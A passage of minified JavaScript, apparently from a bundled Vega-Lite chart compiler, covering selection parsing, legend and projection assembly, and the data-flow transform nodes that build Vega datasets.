${this.expr}`}}function Z7e(e,t){var n;const i={},s=e.config.selection;if(!t||!t.length)return i;for(const o of t){const c=dn(o.name),d=o.select,f=xe(d)?d:d.type,u=ke(d)?at(d):{type:f},a=s[f];for(const y in a)y==="fields"||y==="encodings"||(y==="mark"&&(u[y]=Object.assign(Object.assign({},a[y]),u[y])),(u[y]===void 0||u[y]===!0)&&(u[y]=(n=a[y])!==null&&n!==void 0?n:u[y]));const m=i[c]=Object.assign(Object.assign({},u),{name:c,type:f,init:o.value,bind:o.bind,events:xe(u.on)?xc(u.on,"scope"):Se(at(u.on))});for(const y of y6)y.defined(m)&&y.parse&&y.parse(e,m,o)}return i}function pW(e,t,n,i="datum"){const s=xe(t)?t:t.param,o=dn(s),c=Te(o+ef);let d;try{d=e.getSelectionComponent(o,s)}catch{return`!!${o}`}if(d.project.timeUnit){const y=n??e.component.data.raw,p=d.project.timeUnit.clone();y.parent?p.insertAsParentOf(y):y.parent=p}const f=d.project.hasSelectionId?"vlSelectionIdTest(":"vlSelectionTest(",u=d.resolve==="global"?")":`, ${Te(d.resolve)})`,a=`${f}${c}, ${i}${u}`,m=`length(data(${c}))`;return t.empty===!1?`${m} && ${a}`:`!${m} || ${a}`}function yW(e,t,n){const i=dn(t),s=n.encoding;let o=n.field,c;try{c=e.getSelectionComponent(i,t)}catch{return i}if(!s&&!o)o=c.project.items[0].field,c.project.items.length>1&&me(`A "field" or "encoding" must be specified when using a selection as a scale domain. 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Cbe(e,t,n,i){switch(t){case"disable":return n!==void 0;case"values":return!!(n!=null&&n.values);case"title":if(t==="title"&&e===(i==null?void 0:i.title))return!0}return e===(n||{})[t]}function Rbe(e,t){var n,i,s;let o=e.legend(t);const{markDef:c,encoding:d,config:f}=e,u=f.legend,a=new Lbe({},Nbe(e,t));G7e(e,t,a);const m=o!==void 0?!o:u.disable;if(a.set("disable",m,o!==void 0),m)return a;o=o||{};const y=e.getScaleComponent(t).get("type"),p=An(d[t]),l=we(p)?(n=xi(p.timeUnit))===null||n===void 0?void 0:n.unit:void 0,b=o.orient||f.legend.orient||"right",L=kbe({legend:o,channel:t,timeUnit:l,scaleType:y}),E=Fbe({legend:o,legendType:L,orient:b,legendConfig:u}),S={legend:o,channel:t,model:e,markDef:c,encoding:d,fieldOrDatumDef:p,legendConfig:u,config:f,scaleType:y,orient:b,legendType:L,direction:E};for(const O of FW){if(L==="gradient"&&O.startsWith("symbol")||L==="symbol"&&O.startsWith("gradient"))continue;const C=O in $M?$M[O](S):o[O];if(C!==void 0){const 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s=0,i=Object.getOwnPropertySymbols(e);sHbe(s,e.config)).filter(s=>s!==void 0)}function Hbe(e,t){var n,i,s;const o=e.combine(),{disable:c,labelExpr:d,selections:f}=o,u=jbe(o,["disable","labelExpr","selections"]);if(!c){if(t.aria===!1&&u.aria==null&&(u.aria=!1),!((n=u.encode)===null||n===void 0)&&n.symbols){const a=u.encode.symbols.update;a.fill&&a.fill.value!=="transparent"&&!a.stroke&&!u.stroke&&(a.stroke={value:"transparent"});for(const m of OG)u[m]&&delete a[m]}if(u.title||delete u.title,d!==void 0){let a=d;!((s=(i=u.encode)===null||i===void 0?void 0:i.labels)===null||s===void 0)&&s.update&&Ne(u.encode.labels.update.text)&&(a=Wd(d,"datum.label",u.encode.labels.update.text.signal)),Ube(u,"labels","text",{signal:a})}return u}}function zbe(e){return Vh(e)||KS(e)?$be(e):RW(e)}function $be(e){return e.children.reduce((t,n)=>t.concat(n.assembleProjections()),RW(e))}function RW(e){const t=e.component.projection;if(!t||t.merged)return[];const n=t.combine(),{name:i}=n;if(t.data){const s={signal:`[${t.size.map(c=>c.signal).join(", ")}]`},o=t.data.reduce((c,d)=>{const f=Ne(d)?d.signal:`data('${e.lookupDataSource(d)}')`;return vt(c,f)||c.push(f),c},[]);if(o.length<=0)throw new Error("Projection's fit didn't find any data sources");return[Object.assign({name:i,size:s,fit:{signal:o.length>1?`[${o.join(", ")}]`:o[0]}},n)]}else return[Object.assign(Object.assign({name:i},{translate:{signal:"[width / 2, height / 2]"}}),n)]}const qbe=["type","clipAngle","clipExtent","center","rotate","precision","reflectX","reflectY","coefficient","distance","fraction","lobes","parallel","radius","ratio","spacing","tilt"];class PW extends ll{constructor(t,n,i,s){super(Object.assign({},n),{name:t}),this.specifiedProjection=n,this.size=i,this.data=s,this.merged=!1}get isFit(){return!!this.data}}function DW(e){e.component.projection=Ln(e)?Vbe(e):Ybe(e)}function Vbe(e){var t;if(e.hasProjection){const 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Yq(this.dimensions,t.dimensions)?(eTe(this.measures,t.measures),!0):(hLe("different dimensions, cannot merge"),!1)}addDimensions(t){t.forEach(this.dimensions.add,this.dimensions)}dependentFields(){return new Set([...this.dimensions,...ye(this.measures)])}producedFields(){const t=new Set;for(const n of ye(this.measures))for(const i of ye(this.measures[n])){const s=this.measures[n][i];s.size===0?t.add(`${i}_${n}`):s.forEach(t.add,t)}return t}hash(){return`Aggregate ${Bt({dimensions:this.dimensions,measures:this.measures})}`}assemble(){const t=[],n=[],i=[];for(const o of ye(this.measures))for(const c of ye(this.measures[o]))for(const d of this.measures[o][c])i.push(d),t.push(c),n.push(o==="*"?null:ar(o));return{type:"aggregate",groupby:[...this.dimensions].map(ar),ops:t,fields:n,as:i}}}class $h extends Kt{constructor(t,n,i,s){super(t),this.model=n,this.name=i,this.data=s;for(const o of Ks){const c=n.facet[o];if(c){const{bin:d,sort:f}=c;this[o]=Object.assign({name:n.getName(`${o}_domain`),fields:[ve(c),...nn(d)?[ve(c,{binSuffix:"end"})]:[]]},Ba(f)?{sortField:f}:ue(f)?{sortIndexField:yh(c,o)}:{})}}this.childModel=n.child}hash(){let t="Facet";for(const n of Ks)this[n]&&(t+=` ${n.charAt(0)}:${Bt(this[n])}`);return t}get fields(){var t;const n=[];for(const i of Ks)!((t=this[i])===null||t===void 0)&&t.fields&&n.push(...this[i].fields);return n}dependentFields(){const t=new Set(this.fields);for(const n of Ks)this[n]&&(this[n].sortField&&t.add(this[n].sortField.field),this[n].sortIndexField&&t.add(this[n].sortIndexField));return t}producedFields(){return new Set}getSource(){return this.name}getChildIndependentFieldsWithStep(){const t={};for(const n of lo){const i=this.childModel.component.scales[n];if(i&&!i.merged){const s=i.get("type"),o=i.get("range");if(Jn(s)&&Nc(o)){const c=L6(this.childModel,n),d=XS(c);d?t[n]=d:me(XE(n))}}}return t}assembleRowColumnHeaderData(t,n,i){const s={row:"y",column:"x",facet:void 0}[t],o=[],c=[],d=[];s&&i&&i[s]&&(n?(o.push(`distinct_${i[s]}`),c.push("max")):(o.push(i[s]),c.push("distinct")),d.push(`distinct_${i[s]}`));const{sortField:f,sortIndexField:u}=this[t];if(f){const{op:a=r6,field:m}=f;o.push(m),c.push(a),d.push(ve(f,{forAs:!0}))}else u&&(o.push(u),c.push("max"),d.push(u));return{name:this[t].name,source:n??this.data,transform:[Object.assign({type:"aggregate",groupby:this[t].fields},o.length?{fields:o,ops:c,as:d}:{})]}}assembleFacetHeaderData(t){var n,i;const{columns:s}=this.model.layout,{layoutHeaders:o}=this.model.component,c=[],d={};for(const a of HS){for(const m of zS){const y=(n=o[a]&&o[a][m])!==null&&n!==void 0?n:[];for(const p of y)if(((i=p.axes)===null||i===void 0?void 0:i.length)>0){d[a]=!0;break}}if(d[a]){const m=`length(data("${this.facet.name}"))`,y=a==="row"?s?{signal:`ceil(${m} / ${s})`}:1:s?{signal:`min(${m}, ${s})`}:{signal:m};c.push({name:`${this.facet.name}_${a}`,transform:[{type:"sequence",start:0,stop:y}]})}}const{row:f,column:u}=d;return(f||u)&&c.unshift(this.assembleRowColumnHeaderData("facet",null,t)),c}assemble(){var t,n;const i=[];let s=null;const o=this.getChildIndependentFieldsWithStep(),{column:c,row:d,facet:f}=this;if(c&&d&&(o.x||o.y)){s=`cross_${this.column.name}_${this.row.name}`;const u=[].concat((t=o.x)!==null&&t!==void 0?t:[],(n=o.y)!==null&&n!==void 0?n:[]),a=u.map(()=>"distinct");i.push({name:s,source:this.data,transform:[{type:"aggregate",groupby:this.fields,fields:u,ops:a}]})}for(const u of[Do,Po])this[u]&&i.push(this.assembleRowColumnHeaderData(u,s,o));if(f){const u=this.assembleFacetHeaderData(o);u&&i.push(...u)}return i}}function GM(e){return e.startsWith("'")&&e.endsWith("'")||e.startsWith('"')&&e.endsWith('"')?e.slice(1,-1):e}function tTe(e,t){const n=DE(e);if(t==="number")return`toNumber(${n})`;if(t==="boolean")return`toBoolean(${n})`;if(t==="string")return`toString(${n})`;if(t==="date")return`toDate(${n})`;if(t==="flatten")return n;if(t.startsWith("date:")){const i=GM(t.slice(5,t.length));return`timeParse(${n},'${i}')`}else if(t.startsWith("utc:")){const i=GM(t.slice(4,t.length));return`utcParse(${n},'${i}')`}else return me(L5e(t)),null}function nTe(e){const t={};return ap(e.filter,n=>{var i;if(AV(n)){let s=null;eS(n)?s=Is(n.equal):nS(n)?s=Is(n.lte):tS(n)?s=Is(n.lt):iS(n)?s=Is(n.gt):sS(n)?s=Is(n.gte):rS(n)?s=n.range[0]:aS(n)&&(s=((i=n.oneOf)!==null&&i!==void 0?i:n.in)[0]),s&&(Tf(s)?t[n.field]="date":Yt(s)?t[n.field]="number":xe(s)&&(t[n.field]="string")),n.timeUnit&&(t[n.field]="date")}}),t}function iTe(e){const t={};function n(i){hh(i)?t[i.field]="date":i.type==="quantitative"&&Zwe(i.aggregate)?t[i.field]="number":oh(i.field)>1?i.field in t||(t[i.field]="flatten"):vf(i)&&Ba(i.sort)&&oh(i.sort.field)>1&&(i.sort.field in t||(t[i.sort.field]="flatten"))}if((Ln(e)||Ur(e))&&e.forEachFieldDef((i,s)=>{if(lr(i))n(i);else{const o=Lf(s),c=e.fieldDef(o);n(Object.assign(Object.assign({},i),{type:c.type}))}}),Ln(e)){const{mark:i,markDef:s,encoding:o}=e;if(Cc(i)&&!e.encoding.order){const c=s.orient==="horizontal"?"y":"x",d=o[c];we(d)&&d.type==="quantitative"&&!(d.field in t)&&(t[d.field]="number")}}return t}function sTe(e){const t={};if(Ln(e)&&e.component.selection)for(const n of ye(e.component.selection)){const i=e.component.selection[n];for(const s of i.project.items)!s.channel&&oh(s.field)>1&&(t[s.field]="flatten")}return t}class yi extends Kt{clone(){return new yi(null,at(this._parse))}constructor(t,n){super(t),this._parse=n}hash(){return`Parse ${Bt(this._parse)}`}static makeExplicit(t,n,i){var s;let o={};const c=n.data;return!Vl(c)&&(!((s=c==null?void 0:c.format)===null||s===void 0)&&s.parse)&&(o=c.format.parse),this.makeWithAncestors(t,o,{},i)}static makeWithAncestors(t,n,i,s){for(const d of ye(i)){const f=s.getWithExplicit(d);f.value!==void 0&&(f.explicit||f.value===i[d]||f.value==="derived"||i[d]==="flatten"?delete i[d]:me(aM(d,i[d],f.value)))}for(const d of ye(n)){const f=s.get(d);f!==void 0&&(f===n[d]?delete n[d]:me(aM(d,n[d],f)))}const o=new ll(n,i);s.copyAll(o);const c={};for(const d of ye(o.combine())){const f=o.get(d);f!==null&&(c[d]=f)}return ye(c).length===0||s.parseNothing?null:new yi(t,c)}get parse(){return this._parse}merge(t){this._parse=Object.assign(Object.assign({},this._parse),t.parse),t.remove()}assembleFormatParse(){const t={};for(const n of ye(this._parse)){const i=this._parse[n];oh(n)===1&&(t[n]=i)}return t}producedFields(){return new Set(ye(this._parse))}dependentFields(){return new Set(ye(this._parse))}assembleTransforms(t=!1){return ye(this._parse).filter(n=>t?oh(n)>1:!0).map(n=>{const i=tTe(n,this._parse[n]);return i?{type:"formula",expr:i,as:jE(n)}:null}).filter(n=>n!==null)}}class _c extends Kt{clone(){return new _c(null)}constructor(t){super(t)}dependentFields(){return new Set}producedFields(){return new Set([Va])}hash(){return"Identifier"}assemble(){return{type:"identifier",as:Va}}}class u3 extends Kt{clone(){return new u3(null,this.params)}constructor(t,n){super(t),this.params=n}dependentFields(){return new Set}producedFields(){}hash(){return`Graticule ${Bt(this.params)}`}assemble(){return Object.assign({type:"graticule"},this.params===!0?{}:this.params)}}class h3 extends Kt{clone(){return new h3(null,this.params)}constructor(t,n){super(t),this.params=n}dependentFields(){return new Set}producedFields(){var t;return new Set([(t=this.params.as)!==null&&t!==void 0?t:"data"])}hash(){return`Hash ${Bt(this.params)}`}assemble(){return Object.assign({type:"sequence"},this.params)}}class tf extends Kt{constructor(t){super(null),t??(t={name:"source"});let n;if(Vl(t)||(n=t.format?Object.assign({},as(t.format,["parse"])):{}),e0(t))this._data={values:t.values};else if(gh(t)){if(this._data={url:t.url},!n.type){let i=/(?:\.([^.]+))?$/.exec(t.url)[1];vt(["json","csv","tsv","dsv","topojson"],i)||(i="json"),n.type=i}}else KG(t)?this._data={values:[{type:"Sphere"}]}:(YG(t)||Vl(t))&&(this._data={});this._generator=Vl(t),t.name&&(this._name=t.name),n&&!Wt(n)&&(this._data.format=n)}dependentFields(){return new Set}producedFields(){}get data(){return this._data}hasName(){return!!this._name}get isGenerator(){return this._generator}get dataName(){return this._name}set dataName(t){this._name=t}set parent(t){throw new Error("Source nodes have to be roots.")}remove(){throw new Error("Source nodes are roots and cannot be removed.")}hash(){throw new Error("Cannot hash sources")}assemble(){return Object.assign(Object.assign({name:this._name},this._data),{transform:[]})}}var WM=globalThis&&globalThis.__classPrivateFieldSet||function(e,t,n,i,s){if(i==="m")throw new TypeError("Private method is not writable");if(i==="a"&&!s)throw new TypeError("Private accessor was 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Set;return((t=this.transform.groupby)!==null&&t!==void 0?t:[]).forEach(i.add,i),((n=this.transform.sort)!==null&&n!==void 0?n:[]).forEach(s=>i.add(s.field)),this.transform.window.map(s=>s.field).filter(s=>s!==void 0).forEach(i.add,i),i}producedFields(){return new Set(this.transform.window.map(this.getDefaultName))}getDefaultName(t){var n;return(n=t.as)!==null&&n!==void 0?n:ve(t)}hash(){return`WindowTransform ${Bt(this.transform)}`}assemble(){var t;const n=[],i=[],s=[],o=[];for(const y of this.transform.window)i.push(y.op),s.push(this.getDefaultName(y)),o.push(y.param===void 0?null:y.param),n.push(y.field===void 0?null:y.field);const c=this.transform.frame,d=this.transform.groupby;if(c&&c[0]===null&&c[1]===null&&i.every(y=>GE(y)))return Object.assign({type:"joinaggregate",as:s,ops:i,fields:n},d!==void 0?{groupby:d}:{});const f=[],u=[];if(this.transform.sort!==void 0)for(const y of this.transform.sort)f.push(y.field),u.push((t=y.order)!==null&&t!==void 0?t:"ascending");const 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0?u:[]),this.layout=n==="layer"||n==="unit"?{}:d9e(t,n,o),this.component={data:{sources:i?i.component.data.sources:[],outputNodes:i?i.component.data.outputNodes:{},outputNodeRefCounts:i?i.component.data.outputNodeRefCounts:{},isFaceted:a6(t)||(i==null?void 0:i.component.data.isFaceted)&&t.data===void 0},layoutSize:new ll,layoutHeaders:{row:{},column:{},facet:{}},mark:null,resolve:Object.assign({scale:{},axis:{},legend:{}},c?at(c):{}),selection:null,scales:null,projection:null,axes:{},legends:{}}}get width(){return this.getSizeSignalRef("width")}get height(){return this.getSizeSignalRef("height")}parse(){this.parseScale(),this.parseLayoutSize(),this.renameTopLevelLayoutSizeSignal(),this.parseSelections(),this.parseProjection(),this.parseData(),this.parseAxesAndHeaders(),this.parseLegends(),this.parseMarkGroup()}parseScale(){JTe(this)}parseProjection(){DW(this)}renameTopLevelLayoutSizeSignal(){this.getName("width")!=="width"&&this.renameSignal(this.getName("width"),"width"),this.getName("height")!=="height"&&this.renameSignal(this.getName("height"),"height")}parseLegends(){AW(this)}assembleEncodeFromView(t){const n=h5(t,["style"]),i={};for(const s of ye(n)){const o=n[s];o!==void 0&&(i[s]=on(o))}return i}assembleGroupEncodeEntry(t){let n={};return this.view&&(n=this.assembleEncodeFromView(this.view)),!t&&(this.description&&(n.description=on(this.description)),this.type==="unit"||this.type==="layer")?Object.assign({width:this.getSizeSignalRef("width"),height:this.getSizeSignalRef("height")},n??{}):Wt(n)?void 0:n}assembleLayout(){if(!this.layout)return;const t=this.layout,{spacing:n}=t,i=h5(t,["spacing"]),{component:s,config:o}=this,c=mbe(s.layoutHeaders,o);return Object.assign(Object.assign(Object.assign({padding:n},this.assembleDefaultLayout()),i),c?{titleBand:c}:{})}assembleDefaultLayout(){return{}}assembleHeaderMarks(){const{layoutHeaders:t}=this.component;let n=[];for(const i of Ks)t[i].title&&n.push(ube(this,i));for(const i of HS)n=n.concat(hbe(this,i));return n}assembleAxes(){return ebe(this.component.axes,this.config)}assembleLegends(){return CW(this)}assembleProjections(){return zbe(this)}assembleTitle(){var t,n,i;const s=(t=this.title)!==null&&t!==void 0?t:{},{encoding:o}=s,c=h5(s,["encoding"]),d=Object.assign(Object.assign(Object.assign({},hV(this.config.title).nonMarkTitleProperties),c),o?{encode:{update:o}}:{});if(d.text)return vt(["unit","layer"],this.type)?vt(["middle",void 0],d.anchor)&&((n=d.frame)!==null&&n!==void 0||(d.frame="group")):(i=d.anchor)!==null&&i!==void 0||(d.anchor="start"),Wt(d)?void 0:d}assembleGroup(t=[]){const n={};t=t.concat(this.assembleSignals()),t.length>0&&(n.signals=t);const i=this.assembleLayout();i&&(n.layout=i),n.marks=[].concat(this.assembleHeaderMarks(),this.assembleMarks());const s=!this.parent||Ur(this.parent)?zW(this):[];s.length>0&&(n.scales=s);const o=this.assembleAxes();o.length>0&&(n.axes=o);const c=this.assembleLegends();return c.length>0&&(n.legends=c),n}getName(t){return dn((this.name?`${this.name}_`:"")+t)}getDataName(t){return this.getName(en[t].toLowerCase())}requestDataName(t){const n=this.getDataName(t),i=this.component.data.outputNodeRefCounts;return i[n]=(i[n]||0)+1,n}getSizeSignalRef(t){if(Ur(this.parent)){const n=xW(t),i=Zm(n),s=this.component.scales[i];if(s&&!s.merged){const o=s.get("type"),c=s.get("range");if(Jn(o)&&Nc(c)){const d=s.get("name"),f=L6(this,i),u=XS(f);if(u){const a=ve({aggregate:"distinct",field:u},{expr:"datum"});return{signal:SW(d,s,a)}}else return me(XE(i)),null}}}return{signal:this.signalNameMap.get(this.getName(t))}}lookupDataSource(t){const n=this.component.data.outputNodes[t];return n?n.getSource():t}getSignalName(t){return this.signalNameMap.get(t)}renameSignal(t,n){this.signalNameMap.rename(t,n)}renameScale(t,n){this.scaleNameMap.rename(t,n)}renameProjection(t,n){this.projectionNameMap.rename(t,n)}scaleName(t,n){if(n)return this.getName(t);if(iV(t)&&Mc(t)&&this.component.scales[t]||this.scaleNameMap.has(this.getName(t)))return this.scaleNameMap.get(this.getName(t))}projectionName(t){if(t)return this.getName("projection");if(this.component.projection&&!this.component.projection.merged||this.projectionNameMap.has(this.getName("projection")))return this.projectionNameMap.get(this.getName("projection"))}getScaleComponent(t){if(!this.component.scales)throw new Error("getScaleComponent cannot be called before parseScale(). Make sure you have called parseScale or use parseUnitModelWithScale().");const n=this.component.scales[t];return n&&!n.merged?n:this.parent?this.parent.getScaleComponent(t):void 0}getSelectionComponent(t,n){let i=this.component.selection[t];if(!i&&this.parent&&(i=this.parent.getSelectionComponent(t,n)),!i)throw new Error(f5e(n));return i}hasAxisOrientSignalRef(){var t,n;return((t=this.component.axes.x)===null||t===void 0?void 0:t.some(i=>i.hasOrientSignalRef()))||((n=this.component.axes.y)===null||n===void 0?void 0:n.some(i=>i.hasOrientSignalRef()))}}class JW extends ZS{vgField(t,n={}){const i=this.fieldDef(t);if(i)return ve(i,n)}reduceFieldDef(t,n){return D8e(this.getMapping(),(i,s,o)=>{const c=qa(s);return c?t(i,c,o):i},n)}forEachFieldDef(t,n){vS(this.getMapping(),(i,s)=>{const o=qa(i);o&&t(o,s)},n)}}var nve=globalThis&&globalThis.__rest||function(e,t){var n={};for(var i in e)Object.prototype.hasOwnProperty.call(e,i)&&t.indexOf(i)<0&&(n[i]=e[i]);if(e!=null&&typeof Object.getOwnPropertySymbols=="function")for(var s=0,i=Object.getOwnPropertySymbols(e);s{const m=Mc(a)&&n.getScaleComponent(a);if(m){const y=m.get("type");Us(y)&&u.aggregate!=="count"&&!Cc(s)&&(f[u.field]=u)}return f},{});return ye(d).length?new n0(t,d):null}dependentFields(){return new Set(ye(this.filter))}producedFields(){return new Set}hash(){return`FilterInvalid ${Bt(this.filter)}`}assemble(){const t=ye(this.filter).reduce((n,i)=>{const s=this.filter[i],o=ve(s,{expr:"datum"});return s!==null&&(s.type==="temporal"?n.push(`(isDate(${o}) || (isValid(${o}) && isFinite(+${o})))`):s.type==="quantitative"&&(n.push(`isValid(${o})`),n.push(`isFinite(+${o})`))),n},[]);return t.length>0?{type:"filter",expr:t.join(" && ")}:null}}class T6 extends Kt{clone(){return new T6(this.parent,at(this.transform))}constructor(t,n){super(t),this.transform=n,this.transform=at(n);const{flatten:i,as:s=[]}=this.transform;this.transform.as=i.map((o,c)=>{var d;return(d=s[c])!==null&&d!==void 0?d:o})}dependentFields(){return new Set(this.transform.flatten)}producedFields(){return new Set(this.transform.as)}hash(){return`FlattenTransform ${Bt(this.transform)}`}assemble(){const{flatten:t,as:n}=this.transform;return{type:"flatten",fields:t,as:n}}}class v6 extends Kt{clone(){return new v6(null,at(this.transform))}constructor(t,n){var i,s,o;super(t),this.transform=n,this.transform=at(n);const c=(i=this.transform.as)!==null&&i!==void 0?i:[void 0,void 0];this.transform.as=[(s=c[0])!==null&&s!==void 0?s:"key",(o=c[1])!==null&&o!==void 0?o:"value"]}dependentFields(){return new Set(this.transform.fold)}producedFields(){return new Set(this.transform.as)}hash(){return`FoldTransform ${Bt(this.transform)}`}assemble(){const{fold:t,as:n}=this.transform;return{type:"fold",fields:t,as:n}}}class Su extends Kt{clone(){return new Su(null,at(this.fields),this.geojson,this.signal)}static parseAll(t,n){if(n.component.projection&&!n.component.projection.isFit)return t;let i=0;for(const s of[[so,io],[or,ea]]){const o=s.map(c=>{const d=An(n.encoding[c]);return we(d)?d.field:co(d)?{expr:`${d.datum}`}:Vr(d)?{expr:`${d.value}`}:void 0});(o[0]||o[1])&&(t=new Su(t,o,null,n.getName(`geojson_${i++}`)))}if(n.channelHasField(ys)){const s=n.typedFieldDef(ys);s.type===Uh&&(t=new Su(t,null,s.field,n.getName(`geojson_${i++}`)))}return t}constructor(t,n,i,s){super(t),this.fields=n,this.geojson=i,this.signal=s}dependentFields(){var t;const n=((t=this.fields)!==null&&t!==void 0?t:[]).filter(xe);return new Set([...this.geojson?[this.geojson]:[],...n])}producedFields(){return new Set}hash(){return`GeoJSON ${this.geojson} ${this.signal} ${Bt(this.fields)}`}assemble(){return[...this.geojson?[{type:"filter",expr:`isValid(datum["${this.geojson}"])`}]:[],Object.assign(Object.assign(Object.assign({type:"geojson"},this.fields?{fields:this.fields}:{}),this.geojson?{geojson:this.geojson}:{}),{signal:this.signal})]}}class i0 extends Kt{clone(){return new i0(null,this.projection,at(this.fields),at(this.as))}constructor(t,n,i,s){super(t),this.projection=n,this.fields=i,this.as=s}static parseAll(t,n){if(!n.projectionName())return t;for(const i of[[so,io],[or,ea]]){const s=i.map(c=>{const d=An(n.encoding[c]);return we(d)?d.field:co(d)?{expr:`${d.datum}`}:Vr(d)?{expr:`${d.value}`}:void 0}),o=i[0]===or?"2":"";(s[0]||s[1])&&(t=new i0(t,n.projectionName(),s,[n.getName(`x${o}`),n.getName(`y${o}`)]))}return t}dependentFields(){return new Set(this.fields.filter(xe))}producedFields(){return new Set(this.as)}hash(){return`Geopoint ${this.projection} ${Bt(this.fields)} ${Bt(this.as)}`}assemble(){return{type:"geopoint",projection:this.projection,fields:this.fields,as:this.as}}}class Fd extends Kt{clone(){return new Fd(null,at(this.transform))}constructor(t,n){super(t),this.transform=n}dependentFields(){var t;return new Set([this.transform.impute,this.transform.key,...(t=this.transform.groupby)!==null&&t!==void 0?t:[]])}producedFields(){return new Set([this.transform.impute])}processSequence(t){const{start:n=0,stop:i,step:s}=t;return{signal:`sequence(${[n,i,...s?[s]:[]].join(",")})`}}static makeFromTransform(t,n){return new Fd(t,n)}static makeFromEncoding(t,n){const i=n.encoding,s=i.x,o=i.y;if(we(s)&&we(o)){const c=s.impute?s:o.impute?o:void 0;if(c===void 0)return;const d=s.impute?o:o.impute?s:void 0,{method:f,value:u,frame:a,keyvals:m}=c.impute,y=pG(n.mark,i);return new Fd(t,Object.assign(Object.assign(Object.assign(Object.assign(Object.assign({impute:c.field,key:d.field},f?{method:f}:{}),u!==void 0?{value:u}:{}),a?{frame:a}:{}),m!==void 0?{keyvals:m}:{}),y.length?{groupby:y}:{}))}return null}hash(){return`Impute ${Bt(this.transform)}`}assemble(){const{impute:t,key:n,keyvals:i,method:s,groupby:o,value:c,frame:d=[null,null]}=this.transform,f=Object.assign(Object.assign(Object.assign(Object.assign({type:"impute",field:t,key:n},i?{keyvals:U9e(i)?this.processSequence(i):i}:{}),{method:"value"}),o?{groupby:o}:{}),{value:!s||s==="value"?c:null});if(s&&s!=="value"){const u=Object.assign({type:"window",as:[`imputed_${t}_value`],ops:[s],fields:[t],frame:d,ignorePeers:!1},o?{groupby:o}:{}),a={type:"formula",expr:`datum.${t} === null ? datum.imputed_${t}_value : datum.${t}`,as:t};return[f,u,a]}else return[f]}}var ive=globalThis&&globalThis.__rest||function(e,t){var n={};for(var i in e)Object.prototype.hasOwnProperty.call(e,i)&&t.indexOf(i)<0&&(n[i]=e[i]);if(e!=null&&typeof Object.getOwnPropertySymbols=="function")for(var s=0,i=Object.getOwnPropertySymbols(e);si)}producedFields(){}dependentFields(){var t;return new Set([this.transform.pivot,this.transform.value,...(t=this.transform.groupby)!==null&&t!==void 0?t:[]])}hash(){return`PivotTransform ${Bt(this.transform)}`}assemble(){const{pivot:t,value:n,groupby:i,limit:s,op:o}=this.transform;return Object.assign(Object.assign(Object.assign({type:"pivot",field:t,value:n},s!==void 0?{limit:s}:{}),o!==void 0?{op:o}:{}),i!==void 0?{groupby:i}:{})}}class B6 extends Kt{clone(){return new B6(null,at(this.transform))}constructor(t,n){super(t),this.transform=n}dependentFields(){return new Set}producedFields(){return new Set}hash(){return`SampleTransform ${Bt(this.transform)}`}assemble(){return{type:"sample",size:this.transform.sample}}}function QW(e){let t=0;function n(i,s){var o;if(i instanceof tf&&!i.isGenerator&&!gh(i.data)&&(e.push(s),s={name:null,source:s.name,transform:[]}),i instanceof yi&&(i.parent instanceof tf&&!s.source?(s.format=Object.assign(Object.assign({},(o=s.format)!==null&&o!==void 0?o:{}),{parse:i.assembleFormatParse()}),s.transform.push(...i.assembleTransforms(!0))):s.transform.push(...i.assembleTransforms())),i instanceof $h){s.name||(s.name=`data_${t++}`),!s.source||s.transform.length>0?(e.push(s),i.data=s.name):i.data=s.source,e.push(...i.assemble());return}switch((i instanceof u3||i instanceof h3||i instanceof n0||i instanceof zh||i instanceof ph||i instanceof i0||i instanceof jr||i instanceof s0||i instanceof qh||i instanceof Sf||i instanceof v6||i instanceof T6||i instanceof b6||i instanceof E6||i instanceof S6||i instanceof x6||i instanceof _c||i instanceof B6||i instanceof k6)&&s.transform.push(i.assemble()),(i instanceof Ia||i instanceof Fa||i instanceof Fd||i instanceof Uo||i instanceof Su)&&s.transform.push(...i.assemble()),i instanceof Ui&&(s.source&&s.transform.length===0?i.setSource(s.source):i.parent instanceof Ui?i.setSource(s.name):(s.name||(s.name=`data_${t++}`),i.setSource(s.name),i.numChildren()===1&&(e.push(s),s={name:null,source:s.name,transform:[]}))),i.numChildren()){case 0:i instanceof Ui&&(!s.source||s.transform.length>0)&&e.push(s);break;case 1:n(i.children[0],s);break;default:{s.name||(s.name=`data_${t++}`);let c=s.name;!s.source||s.transform.length>0?e.push(s):c=s.source;for(const d of i.children)n(d,{name:null,source:c,transform:[]});break}}}return n}function ave(e){const t=[],n=QW(t);for(const i of e.children)n(i,{source:e.name,name:null,transform:[]});return t}function ove(e,t){var n,i;const s=[],o=QW(s);let c=0;for(const f of e.sources){f.hasName()||(f.dataName=`source_${c++}`);const u=f.assemble();o(f,u)}for(const f of s)f.transform.length===0&&delete f.transform;let d=0;for(const[f,u]of s.entries())((n=u.transform)!==null&&n!==void 0?n:[]).length===0&&!u.source&&s.splice(d++,0,s.splice(f,1)[0]);for(const f of s)for(const u of(i=f.transform)!==null&&i!==void 0?i:[])u.type==="lookup"&&(u.from=e.outputNodes[u.from].getSource());for(const f of s)f.name in t&&(f.values=t[f.name]);return s}function lve(e){return e==="top"||e==="left"||Ne(e)?"header":"footer"}function cve(e){for(const t of Ks)dve(e,t);tA(e,"x"),tA(e,"y")}function dve(e,t){var n;const{facet:i,config:s,child:o,component:c}=e;if(e.channelHasField(t)){const d=i[t],f=mh("title",null,s,t);let u=vu(d,s,{allowDisabling:!0,includeDefault:f===void 0||!!f});o.component.layoutHeaders[t].title&&(u=ue(u)?u.join(", "):u,u+=` / ${o.component.layoutHeaders[t].title}`,o.component.layoutHeaders[t].title=null);const a=mh("labelOrient",d.header,s,t),m=d.header!==null?Sn((n=d.header)===null||n===void 0?void 0:n.labels,s.header.labels,!0):!1,y=vt(["bottom","right"],a)?"footer":"header";c.layoutHeaders[t]={title:d.header!==null?u:null,facetFieldDef:d,[y]:t==="facet"?[]:[eY(e,t,m)]}}}function eY(e,t,n){const i=t==="row"?"height":"width";return{labels:n,sizeSignal:e.child.component.layoutSize.get(i)?e.child.getSizeSignalRef(i):void 0,axes:[]}}function tA(e,t){var n;const{child:i}=e;if(i.component.axes[t]){const{layoutHeaders:s,resolve:o}=e.component;if(o.axis[t]=qS(o,t),o.axis[t]==="shared"){const c=t==="x"?"column":"row",d=s[c];for(const f of i.component.axes[t]){const u=lve(f.get("orient"));(n=d[u])!==null&&n!==void 0||(d[u]=[eY(e,c,!1)]);const a=G1(f,"main",e.config,{header:!0});a&&d[u][0].axes.push(a),f.mainExtracted=!0}}}}function fve(e){JS(e),i4(e,"width"),i4(e,"height")}function uve(e){JS(e);const 